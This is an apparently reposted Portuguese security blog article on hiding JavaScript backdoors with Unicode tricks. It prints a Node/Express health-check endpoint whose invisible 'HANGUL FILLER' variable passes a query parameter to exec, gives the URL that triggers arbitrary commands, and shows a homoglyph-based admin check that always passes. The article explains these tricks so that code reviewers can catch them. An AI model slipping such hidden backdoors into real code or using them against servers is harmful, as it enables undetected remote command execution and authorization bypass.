Categories: ALERTAS

O backdoor invisivel do javascript

Escrito por Wolfgang Ettlinger em

Esta postagem inspirou uma ideia: e se um backdoor literalmente não puder ser visto e, portanto, evite ser detectado até mesmo em análises completas de código?

Quando estávamos terminando esta postagem no blog, uma equipe da Universidade de Cambridge publicou um artigo descrevendo esse ataque. A abordagem deles, no entanto, é bem diferente da nossa – ela se concentra no mecanismo bidirecional Unicode (Bidi). Implementamos uma versão diferente do que o jornal intitula “ Ataques de personagens invisíveis ” e “ Ataques de homóglifos “.

Sem mais delongas, aqui está a porta dos fundos . Você pode identificá-lo?

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

Os implementos de script um exame de saúde da rede muito simples HTTP endpoint que executa ping -c 1 google.com, bem como curl -s http://example.come retorna se esses comandos executados com sucesso. O parâmetro HTTP opcional timeoutlimita o tempo de execução do comando.

A porta de trás

Nossa abordagem para criar a porta dos fundos foi, primeiro, encontrar um caractere Unicode invisível que pode ser interpretado como um identificador / variável em JavaScript. A partir da versão ECMAScript 2015, todos os caracteres Unicode com propriedade Unicode ID_Startpodem ser usados ​​em identificadores (caracteres com propriedade ID_Continuepodem ser usados ​​após o caractere inicial).

O caractere “ㅤ” (0x3164 em hexadecimal) é denominado “HANGUL FILLER” e pertence à categoria Unicode “Letra, outra” . Como esse caractere é considerado uma letra , ele tem a ID_Startpropriedade e pode, portanto, aparecer em uma variável JavaScript – perfeito!

Em seguida, uma maneira de usar esse personagem invisível despercebido teve que ser encontrada. O seguinte visualiza a abordagem escolhida, substituindo o caractere em questão por sua representação de sequência de escape :

    const { timeout,\u3164} = req.query;

Uma atribuição de desestruturação é usada para desconstruir os parâmetros HTTP req.query. Ao contrário do que pode ser visto , o parâmetro timeoutnão é o único parâmetro extraído do req.queryatributo! Uma variável adicional / parâmetro HTTP chamado “ㅤ” é recuperado – se um parâmetro HTTP chamado “ㅤ” é passado, ele é atribuído à variável invisível ㅤ.

Da mesma forma, quando a checkCommandsmatriz é construída, esta variável ㅤé incluída na matriz:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];

Cada elemento na matriz, os comandos codificados permanentemente, bem como o parâmetro fornecido pelo usuário, é então passado para a execfunção. Esta função executa comandos do sistema operacional. Para um invasor executar comandos arbitrários do sistema operacional, ele teria que passar um parâmetro denominado “ㅤ” (em sua forma codificada por URL) para o endpoint:

http://host:8080/network_health?%E3%85%A4=<any command>

Esta abordagem não pode ser detectada por meio do destaque de sintaxe, pois os caracteres invisíveis não são exibidos e, portanto, não são coloridos pelo IDE / editor de texto:

O ataque requer o IDE / editor de texto (e a fonte usada) para renderizar corretamente os caracteres invisíveis. Pelo menos o Notepad ++ e o VS Code o renderizam corretamente (no VS Code o caractere invisível é ligeiramente mais largo do que os caracteres ASCII). O script se comporta conforme descrito pelo menos com o Nó 14.

Abordagens de homoglifos

Além de caracteres invisíveis, também é possível introduzir backdoors usando caracteres Unicode que se parecem muito com, por exemplo, operadores:

const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */const environment = 'PRODUCTION';
/* … */function isUserAdmin(user) {
    if(environmentǃ=ENV_PROD){
        // bypass authZ checks in DEV
        return true;
    }

    /* … */    return false;
}

O caractere “ǃ” usado não é um ponto de exclamação, mas um caractere “ CLIQUE ALVEOLAR ”. A linha a seguir, portanto, não compara a variável environmentà string, "PRODUCTION"mas, em vez disso, atribui a string "PRODUCTION"à variável previamente indefinida environmentǃ:

    if(environmentǃ=ENV_PROD){

Portanto, a expressão dentro da instrução if é sempre true(testada com o Nó 14).

Existem muitos outros caracteres semelhantes aos usados ​​no código que podem ser usados ​​para tais propósitos (por exemplo, “/”, “-”, “+”, “⩵”, “❨”, “⫽”, “꓿” , “∗”). O Unicode chama esses caracteres de “confundíveis” .

Remover

Observe que mexer com o Unicode para ocultar códigos vulneráveis ​​ou maliciosos não é uma ideia nova (também usando caracteres invisíveis ) e o Unicode inerentemente abre possibilidades adicionais para ofuscar o código . No entanto, acreditamos que esses truques são bem legais, e é por isso que queremos compartilhá-los.

O Unicode deve ser levado em consideração ao fazer revisões de código de contribuidores desconhecidos ou não confiáveis. Isso é especialmente interessante para projetos de código aberto, pois eles podem receber contribuições de desenvolvedores que são efetivamente anônimos.

A equipe de Cambridge propõe restringir caracteres Bidi Unicode. Como mostramos, ataques de homoglifos e personagens invisíveis também podem representar uma ameaça. Em nossa experiência, caracteres não ASCII são muito raros no código. Muitas equipes de desenvolvimento escolheram usar o inglês como o idioma de desenvolvimento principal (tanto para código quanto para strings dentro do código) para permitir a cooperação internacional (o ASCII cobre todos / a maioria dos caracteres usados ​​no idioma inglês). A tradução para outros idiomas geralmente é feita por meio de arquivos dedicados. Quando revisamos o código do idioma alemão, vemos principalmente caracteres não-ASCII sendo substituídos por caracteres ASCII (por exemplo, ä → ae, ß → ss). Portanto, pode ser uma boa ideia proibir quaisquer caracteres não ASCII.

Fonte: https://certitude.consulting/

Ninja

Na cena de cybersecurity a mais de 25 anos, Ninja trabalha como evangelizador de segurança da informação no Brasil. Preocupado com a conscientização de segurança cibernética, a ideia inicial é conseguir expor um pouco para o publico Brasileiro do que acontece no mundo.

Recent Posts

Google estima idade de saúde com dados de wearables

Sistema experimental calcula idade fisiológica a partir de passos, sono e frequência de repouso, simula…

21 horas ago

Apple treina rede para acelerar a busca vetorial do RAG

Dois modelos treinados antes do uso aprendem a rotear consultas e a prever a chave…

21 horas ago

59 bugs no kernel Linux viram 33 CVEs em três meses

Balanço do FORGE Lab mostra 26.502 achados brutos filtrados até 59 relatórios públicos, oito deles…

21 horas ago

Falcon: framework de C2 no navegador espiona governos

A Unit 42 detalhou um conjunto de ferramentas que opera dentro do navegador da vítima,…

21 horas ago

Apple anima avatares 3D em tempo real a 196 FPS no iPhone

O método GHARP, descrito por pesquisadores ligados à Apple e aceito no ACCV 2026, separa…

2 semanas ago

Memória de agentes de IA falha e decide por prova social

Pesquisadores publicaram em 27 de outubro de 2026 um benchmark que isola quem detém cada…

2 semanas ago